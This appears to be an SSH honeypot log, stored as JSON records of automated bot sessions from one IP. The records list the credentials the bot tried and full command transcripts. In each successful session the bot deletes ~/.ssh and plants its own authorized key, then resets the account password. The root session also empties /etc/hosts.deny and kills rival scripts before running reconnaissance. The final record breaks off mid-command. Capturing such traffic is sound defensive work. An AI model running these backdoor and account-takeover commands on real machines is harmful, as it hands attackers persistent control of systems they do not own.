{"id":"b1a4d01e-b56f-4abf-8a54-0c0476c99b48","name":"merry-blazing-cardinal","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":55458,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:31:11.881209+00:00","ended_at":"2026-08-27T11:31:13.347816+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4112604a-250e-44d3-9f97-5af87a43efea","name":"golden-ivory-coyote","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":45946,"username":"dmp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":261,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:29:39.321131+00:00","ended_at":"2026-08-27T11:29:40.409917+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2206,"events":[{"seq":1,"at":"2026-08-27T11:29:13.364147+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:29:13.628523+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:29:17.399503+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:29:18.943786+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:29:19.203946+00:00","kind":"input","latency_ms":null,"data":"echo -e \"dmp123\\nYrpSFljMjRWN\\nYrpSFljMjRWN\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:29:19.465201+00:00","kind":"input","latency_ms":null,"data":"echo \"dmp123\\nYrpSFljMjRWN\\nYrpSFljMjRWN\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:29:19.722920+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:29:20.105846+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:29:21.216344+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:29:21.622675+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:29:21.886515+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:29:23.670845+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:29:23.937162+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:29:25.435695+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:29:25.696645+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:29:26.505657+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:29:26.767425+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:29:27.816765+00:00","kind":"output","latency_ms":null,"data":" 11:29:27 up 7 days, 8:19, 0 user, load average: 0.23, 0.17, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:29:28.077745+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:29:29.714054+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:29:29.972648+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:29:31.484777+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:29:31.744117+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:29:33.120157+00:00","kind":"output","latency_ms":null,"data":"top - 11:29:33 up 7 days, 8:19, 0 user, load average: 0.23, 0.17, 0.19\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:29:33.379044+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:29:34.223904+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:29:34.484676+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:29:35.648679+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:29:35.908953+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:29:37.490238+00:00","kind":"output","latency_ms":null,"data":"dmp"},{"seq":31,"at":"2026-08-27T11:29:37.752641+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:29:39.059331+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:29:39.323123+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:29:40.334997+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"dmp","password":"dmp123","method":"password","accepted":true,"tier":"other"}]} {"id":"62f37105-1d44-44e7-bb2a-7dbaf3dddc53","name":"sullen-electric-yak","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":45970,"username":"dmp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:29:15.465347+00:00","ended_at":"2026-08-27T11:29:17.325600+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"dmp","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4414fb52-234b-4d15-8b1d-8568bbbfe925","name":"brave-russet-thrush","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":45962,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:29:14.264122+00:00","ended_at":"2026-08-27T11:29:14.935137+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9045f81a-9116-4ae4-a163-1edf5f52e5a7","name":"foggy-crimson-wombat","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":47924,"username":"elasticsearch","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":264,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:27:39.747860+00:00","ended_at":"2026-08-27T11:27:40.968013+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2229,"events":[{"seq":1,"at":"2026-08-27T11:27:14.410735+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:27:14.674641+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:27:19.104959+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:27:20.390802+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:27:20.654373+00:00","kind":"input","latency_ms":null,"data":"echo -e \"elasticsearch@1234\\nkOIzYlCpvUuj\\nkOIzYlCpvUuj\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:27:20.917673+00:00","kind":"input","latency_ms":null,"data":"echo \"elasticsearch@1234\\nkOIzYlCpvUuj\\nkOIzYlCpvUuj\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:27:21.180903+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:27:22.564066+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:27:22.596797+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T11:27:22.861148+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:27:22.935267+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:27:24.493030+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:27:24.760476+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:27:26.544375+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:27:26.821163+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:27:27.663623+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:27:27.926313+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:27:29.609889+00:00","kind":"output","latency_ms":null,"data":" 11:27:29 up 7 days, 8:17, 0 user, load average: 0.29, 0.32, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:27:29.876643+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:27:30.737399+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:27:31.003231+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:27:32.183213+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:27:32.448256+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:27:33.591879+00:00","kind":"output","latency_ms":null,"data":"top - 11:27:33 up 7 days, 8:17, 0 user, load average: 0.29, 0.32, 0.19\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:27:33.857196+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:27:35.666574+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:27:35.930775+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:27:37.202279+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:27:37.468400+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:27:38.364389+00:00","kind":"output","latency_ms":null,"data":"elasticsearch"},{"seq":31,"at":"2026-08-27T11:27:38.630119+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:27:39.484511+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:27:39.748675+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:27:40.891797+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"elasticsearch","password":"elasticsearch@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"58bf3661-251f-4afc-8f03-23eeb6749c02","name":"earnest-amiable-shearwater","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":43844,"username":"elasticsearch","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:27:17.612478+00:00","ended_at":"2026-08-27T11:27:19.027888+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"elasticsearch","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"65feb5e2-28ee-493e-963e-03cd4cadf521","name":"gallant-shifting-capuchin","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":47934,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:27:15.263910+00:00","ended_at":"2026-08-27T11:27:17.092262+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1e946322-b3b0-4a41-8174-8fdf7e3823c4","name":"nautical-fleeting-kingfisher","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":38880,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":261,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:25:47.741804+00:00","ended_at":"2026-08-27T11:25:48.902807+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2238,"events":[{"seq":1,"at":"2026-08-27T11:25:19.771706+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:25:20.032818+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:25:24.099131+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:25:25.624102+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:25:25.885150+00:00","kind":"input","latency_ms":null,"data":"echo \"root:KoS03niMRvpi\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:25:26.147125+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:25:26.404242+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:25:27.620910+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:25:28.412389+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T11:25:28.673821+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:25:29.485711+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:25:29.752541+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T11:25:30.663479+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T11:25:30.926199+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T11:25:32.260038+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T11:25:32.520029+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T11:25:34.665908+00:00","kind":"output","latency_ms":null,"data":" 11:25:34 up 7 days, 8:15, 0 user, load average: 0.18, 0.19, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T11:25:34.928235+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T11:25:36.256142+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T11:25:36.517125+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T11:25:37.332335+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T11:25:37.598900+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T11:25:39.699857+00:00","kind":"output","latency_ms":null,"data":"top - 11:25:39 up 7 days, 8:15, 0 user, load average: 0.18, 0.19, 0.22\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T11:25:39.960063+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T11:25:41.679811+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T11:25:41.944262+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T11:25:44.030959+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T11:25:44.298336+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T11:25:45.400389+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T11:25:45.662507+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T11:25:47.482555+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T11:25:47.742722+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T11:25:48.827903+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"!q2w3e4r5t","method":"password","accepted":true,"tier":"other"}]} {"id":"5e045333-4cff-4c8f-b9e2-56790d228d6c","name":"daring-polar-stork","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":38906,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:25:22.493924+00:00","ended_at":"2026-08-27T11:25:24.025228+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"04304630-85e2-4080-b4ab-beb9410d3056","name":"frank-vaulted-loris","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":38896,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:25:20.628091+00:00","ended_at":"2026-08-27T11:25:21.952806+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c8840f8d-e482-4e77-9d9f-92a5ac859bb2","name":"weathered-hollow-fieldfare","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":55546,"username":"pc","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":265,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:23:50.913027+00:00","ended_at":"2026-08-27T11:23:52.864007+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2166,"events":[{"seq":1,"at":"2026-08-27T11:23:22.659343+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:23:22.924263+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:23:26.530820+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:23:27.871362+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:23:28.121054+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nCTC5KTNLFPD2\\nCTC5KTNLFPD2\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:23:28.385584+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nCTC5KTNLFPD2\\nCTC5KTNLFPD2\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:23:28.649253+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:23:29.026364+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:23:30.176415+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T11:23:30.196012+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:23:30.441963+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:23:31.715012+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:23:31.983340+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:23:32.983643+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:23:33.251007+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:23:35.055582+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:23:35.321056+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:23:37.222435+00:00","kind":"output","latency_ms":null,"data":" 11:23:37 up 7 days, 8:13, 0 user, load average: 0.2, 0.24, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:23:37.488515+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:23:38.583479+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:23:38.849152+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc 